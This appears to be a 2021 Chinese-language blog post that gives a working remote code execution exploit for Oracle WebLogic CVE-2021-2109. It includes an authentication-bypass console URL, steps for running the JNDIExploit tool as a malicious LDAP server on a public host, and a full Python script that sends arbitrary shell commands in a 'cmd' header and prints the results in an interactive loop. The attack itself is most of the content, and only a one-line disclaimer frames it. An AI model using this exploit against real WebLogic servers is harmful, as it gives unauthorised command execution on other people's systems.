weblogic LDAP远程代码执行 CVE-2021-2109(附带poc)

声明

本文章所有内容请勿用作违法用途,否则后果自负

漏洞影响版本

WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0

漏洞复现

搭建实验环境,我这里直接使用vulhub里weblogic CVE-2020-14882的环境

访问http://192.168.2.131:7001,出现以下界面说明搭建成功

 

 

 访问以下路径,如果出现未授权访问的情况,证明可以利用

http://192.168.2.131:7001/console/css/%252e%252e%252f/consolejndi.portal

 

 启动ldap脚本

在一台公网服务器上(目标主机能通的服务器)启动ldap脚本

下载地址

https://github.com/feihong-cs/JNDIExploit

下载好后在服务器上启动

java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)

 

 命令执行

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注意,ldap地址的第三个点儿是分号

 

 编写poc

简单写个poc,需要循环执行命令,还有输入ladp地址的时候打那个分号挺麻烦的,按照正常地址输入让程序自己成分号

替换分号,输入的时候做个切片替换拼接一下,付给一个变量再往下传

 

 目标地址和ldap地址接收完以后,直接拼接url发包就可以了,headers里写上UA和要执行的命令

 

 循环执行命令设置上退出键

 

 成品如下

import requests

def README():
    print("##################################################")
    print("                 CVE-2021-2109                    ")
    print("    目标地址实例:http://xxx.xxx.xxx.xxx:7001       ")
    print("    LDAP地址实例:ldap://xxx.xxx.xxx.xxx:1389       ")
    print("                by xuanlv                         ")
    print("##################################################")
    

def check(target,ldapadd):

    ipsplit = ldapadd.split(".")
    portsplit = ldapadd.split(":")
    ldapip = ipsplit[0]+"."+ipsplit[1]+"."+ipsplit[2]+";"+ipsplit[3]
    
    vulurl = "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldapip)
    target_url = target + vulurl
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36",
        "cmd":"whoami"
    }
    response = requests.get(target_url,headers=headers,verify=False,timeout=5)
    if response.status_code == 200:
        print("[+]存在漏洞")
        print("继续执行命令,输入exit退出")
        while True:
            cmd = input("Cmd >>>")
            if cmd =="exit":
                break
            else:
                headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36",
        "cmd":cmd
    }
                response = requests.get(target_url,headers=headers,verify=False,timeout=5)
                retext = response.text
                print(retext)
    else:
        print("[-]漏洞不存在")
    

if __name__ == "__main__":
    README()
    target = input("请出入目标地址:")
    ldapadd = input("请输入ldap地址:")
    check(target,ldapadd)

效果展示

 

 参考文献

https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ

posted @ 2021-01-28 17:43  xuanlv、  阅读(1207)  评论(0编辑  收藏  举报